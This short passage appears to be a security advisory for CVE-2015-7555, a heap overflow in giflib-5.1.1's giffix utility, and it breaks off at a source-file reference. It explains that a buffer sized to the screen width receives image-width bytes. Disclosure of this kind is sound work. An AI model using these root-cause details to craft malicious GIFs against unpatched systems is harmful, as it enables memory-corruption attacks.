About
=====
giflib[1] is a library for working with GIF images. It also provides
several command-line utilities.
CVE-2015-7555
=============
A heap overflow may occur in the giffix utility included in giflib-5.1.1
when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the
allocated size of `LineBuffer' equaling the value of the logical screen
width, `GifFileIn->SWidth', while subsequently having
`GifFileIn->Image.Width' bytes of data written to it.
giflib-5.1.1/util/giffix.c #35..194:
